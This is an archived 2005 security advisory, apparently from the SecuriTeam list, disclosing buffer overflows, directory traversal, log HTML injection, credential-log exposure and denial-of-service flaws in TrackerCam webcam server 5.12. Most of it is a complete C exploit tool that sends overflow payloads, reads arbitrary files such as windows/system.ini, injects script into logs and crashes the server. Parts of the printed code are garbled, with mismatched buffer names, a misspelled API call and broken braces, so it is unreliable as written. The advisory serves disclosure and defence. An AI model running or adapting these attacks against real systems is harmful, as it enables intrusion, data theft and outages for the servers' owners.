

[NT] Multiple Vulnerabilities in TrackerCam

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-02/0080.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 02/21/05

To: list@securiteam.com

Date: 21 Feb 2005 12:46:30 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Multiple Vulnerabilities in TrackerCam

SUMMARY

" <<http://www.trackercam.com/>> TrackerCam Software – A complete webcam solution with a unique color-tracking feature. Works without a TrackerPod too, if you don't need pan and tilt. TrackerCam Software is a free to download."

Multiple vulnerabilities in TrackerCam allows an attacker to run arbitrary code on a vulnerable machine, crash the server and gain access to sensitive information.

DETAILS

Vulnerable Systems:

* TrackerCam Software version 5.12 and prior

Buffer Overflow in HTTP User-Agent Field:

An HTTP request containing an User-Agent field longer than 216 bytes leads to a buffer-overflow.

Buffer Overflow in PHP Argument:

Buffer-overflow happens when the server handles an argument longer than 256 bytes passed to any PHP script.

Securiteam: [NT] Multiple Vulnerabilities in TrackerCam

Example:

http://victim_host:8090/any_request.php?aaaaaaaaaaaaaaaaaaaaaaaaa...

Directory Traversal and Full Path Disclosure:

TrackerCam has a PHP script accessible by anyone, that used to watch the log files from the web interface. Log filename passed through a PHP argument, there are no security checks in the script allowing the attacker to be able to choose what file to read and moreover from what location.

Its possible to use a directory traversal attack. If the file doesn't exist or no arguments are passed, full physical path to ComGetLogFile.php3 script will be showed.

Example:

http://victim_host:8090/tuner/ComGetLogFile.php3?fn=../../../../windows/system.ini

As can be seen from the example above slash, backslash and hex values are allowed.

HTML Injection in Log File:

Any login (correct or wrong) is logged in the current log file of the month. The log file is also visible through a web browser allowing an attacker to put HTML or any other code supported by the administrator's browser in the log file through a login request.

Information Disclosure:

Its possible to reach the ComGetLogFile.php3 script without any restriction. Log file, accessible via directory traversal, contains both wrong and correct logins, giving possibility to guess working passwords. IP addresses are stored in the same log file. Each log file contains the logins of the entire month.

Example of log filename for the current month is:

http://host:8090/tuner/ComGetLogFile.php3?fn=Eye2005_02.log

Resource Exhaustion:

If the server receives a negative Content-Length, it will show a simple message box with an "insufficient memory" error, its happens for any subsequent bad request like that. After about 300 of these consecutive errors the server crashes.

Proof of concept:

The required winerr.h header can be found at:

<<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html>>

<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html>

/*

by Luigi Auriemma

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

Securiteam: [NT] Multiple Vulnerabilities in TrackerCam

```
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define usleep sleep
#define TIMEZ 100
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define TIMEZ 100000
#define ONESEC 1
#endif

#define VER "0.1"
#define PORT 8090
#define BUFFSZ 16384
#define REQDOS "GET / HTTP/1.0\r\n" \
    "Content-Length: -1\r\n" \
    "\r\n"
#define RETADDR "\xde\xcd\xad\xde"
#define UABOF "GET / HTTP/1.0\r\n" \
    "User-Agent: " \

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaa" RETADDR "\r\n" \
    "\r\n"
#define PHPBOF "GET /MessageBoard/messages.php?" \

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaa" RETADDR " HTTP/1.0\r\n" \
    "\r\n"
#define DIRTRAV "GET /tuner/ComGetLogFile.php3?fn="
#define XSS "GET
/MessageBoard/messages.php?userID=unexistent&Group="
```

Securiteam: [NT] Multiple Vulnerabilities in TrackerCam

```
#define END " HTTP/1.0\r\n\r\n"
#define POSTDOS "GET / HTTP/1.0\r\n" \
    "Content-Length: 2147483647\r\n" \
    "\r\n"
#define BOOMSZ 10000000

#define ATTACK(x,y) sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); \
    if(sd < 0) std_err();fputs("- connect\n", stdout); \
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) \
    \
        < 0) std_err(); \
    fputs("- test attack\n", stdout); \
    if(send(sd, x, y, 0) \
        < 0) std_err();

u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    struct sockaddr_in peer;
    int sd,
        i,
        len,
        attack;
    u_short port = PORT;
    u_char buff[BUFSZ + 1],
        rotate[] = "|/-\\",
        *xsstmp,
        *p,
        *s;

    setbuf(stdout, NULL);

    fputs("\n"
        "TrackerCam <= 5.12 multiple vulnerabilities "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web: http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\nUsage: %s <attack> <server> [port(%d)]\n"
            "\n"
            "Attack:\n"
            " 1 = User-Agent buffer-overflow (return address 0x%08lx)\n"
            " 2 = PHP argument buffer-overflow (return address 0x%08lx)\n"
            " 3 = directory traversal and full path disclosure\n"
            " 4 = html injection in log file\n"
            " 5 = crash after about 300 multiple error messages\n"
            " 6 = crash after sending about %d megabytes of data\n"
            "\n", argv[0], port, *(u_long *)RETADDR, *(u_long *)RETADDR,
```

```

BOOMSZ / 1000000);
    exit(1);
}

#ifdef WIN32
    WSADATA wsadata;
    WSASStartup(MAKEWORD(1,0), &wsadata);
#endif

    attack = atoi(argv[1]);
    if((attack > 6) || (attack < 0)) {
        fputs("\nError: you must choose a valid attack\n\n", stdout);
        exit(1);
    }

    if(argc > 3) port = atoi(argv[3]);

    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port = htons(port);
    peer.sin_family = AF_INET;

    printf("\n"
        "- target %s : %hu\n"
        "- attack %d\n",
        inet_ntoa(peer.sin_addr), port,
        attack);

    if(attack == 1) {
        ATTACK(UABOF, sizeof(UABOF) - 1);
        close(sd);

    } else if(attack == 2) {
        ATTACK(PHPBOF, sizeof(PHPBOF) - 1);
        close(sd);

    } else if(attack == 3) {
        fputs("- Enter the path of the remote file to read:\n"
            " (like ..\\TrackerCam.pas or an unexistent file for path
disclosure):\n"
            " ", stdout);
        strcpy(buff, DIRTRAV);
        fflush(stdin);
        fgets(buff + sizeof(DIRTRAV) - 1, BUFFSZ - sizeof(DIRTRAV) -
sizeof(END), stdin);
        len = strlen(buff) - 1;
        strcpy(buff + len, END);
        len += sizeof(END) - 1;
        ATTACK(buff, len);
        for(p = buff, i = BUFFSZ; i; p += len, i -= len) {
            len = recv(sd, p, i, 0);
            if(len <= 0) break;
        }
    }

```

Securiteam: [NT] Multiple Vulnerabilities in TrackerCam

```
    }
    close(sd);
    fputc('\n', stdout);
    fwrite(buff, p - buff, 1, stdout);
    fputc('\n', stdout);
    if(!i) printf("\n (reception truncated at %d bytes)\n", BUFSZ);

} else if(attack == 4) {
    fputs("- Enter the HTML/Javascript code you want to inject in the
log file:\n ", stdout);
    xsstmp = malloc(BUFSZ + 1);
    if(!xsstmp) std_err();
    fflush(stdin);
    fgets(xsstmp, BUFSZ, stdin);

    strcpy(buff, DIRTRAV);
    for(p = buff + sizeof(DIRTRAV) - 1, s = xsstmp; *s > '\n'; p++,
s++) {
        if(*s == ' ') {
            memcpy(p, "%20", 3);
            p += 2;
        } else {
            *p = *s;
        }
    }
    free(xsstmp);
    strcpy(p, END);
    len = (p + sizeof(END) - 1) - buff;
    ATTACK(buff, len);
    close(sd);

} else if(attack == 5) {
    fputs("\nNumber of \"Content-Length: -1\" sent to the server:\n",
stdout);
    for(i = 0;; i++) {
        printf("%8d\r", i);

        sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(sd < 0) std_err();
        if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) {
            if(!i) std_err();
            close(sd);
            break;
        }
        if(send(sd, REQDOS, sizeof(REQDOS) - 1, 0)
< 0) std_err();

        close(sd);
        usleep(TIMEZ);
    }
}
```

Securiteam: [NT] Multiple Vulnerabilities in TrackerCam

```
} else {
    ATTACK(POSTDOS, sizeof(POSTDOS) - 1);

    memset(buff, 'a', BUFFSZ);
    fputs(
        "- send data:\n"
        " if the progress indicator doesn't move for long time, quit
manually\n", stdout);
    len = BOOMSZ / BUFFSZ;
    for(i = 0; i < len; i++) {
        if(send(sd, buff, BUFFSZ, 0)
            < 0) std_err();
        fputc(rotate[i & 3], stdout);
        fputc('\b', stdout);
    }
    close(sd);
}

if((attack == 1) || (attack == 2)) {
    fputs("- the return address of the server should have been
overwritten but the server continue to run\n\n", stdout);
} else if(attack >= 5) {
    fputs("- check if the server is really dead\n", stdout);
    sleep(ONESEC);

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) {
        fputs("\n Server IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\n Server doesn't seem to be vulnerable\n\n",
stdout);
    }
    close(sd);
} else {
    fputs("\nFinished\n\n", stdout);
}

return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolve hostname (%s)\n", host);
            exit(1);
        }
    }
}
```

Securiteam: [NT] Multiple Vulnerabilities in TrackerCam

```
    } else host_ip = *(u_long*)(hp->h_addr);
  }
  return(host_ip);
}

#ifdef WIN32
void std_err(void) {
    perror("\nError");
    exit(1);
}
#endif
```

The original code with a compiled binary can be found at:

<<http://alugi.altervista.org/poc/tcambof.zip>>
<http://alugi.altervista.org/poc/tcambof.zip>

ADDITIONAL INFORMATION

The information has been provided by <<mailto:alugi@autistici.org>> Luigi Auriemma.

The original article can be found at:

<<http://alugi.altervista.org/adv/tcambof-adv.txt>>
<http://alugi.altervista.org/adv/tcambof-adv.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.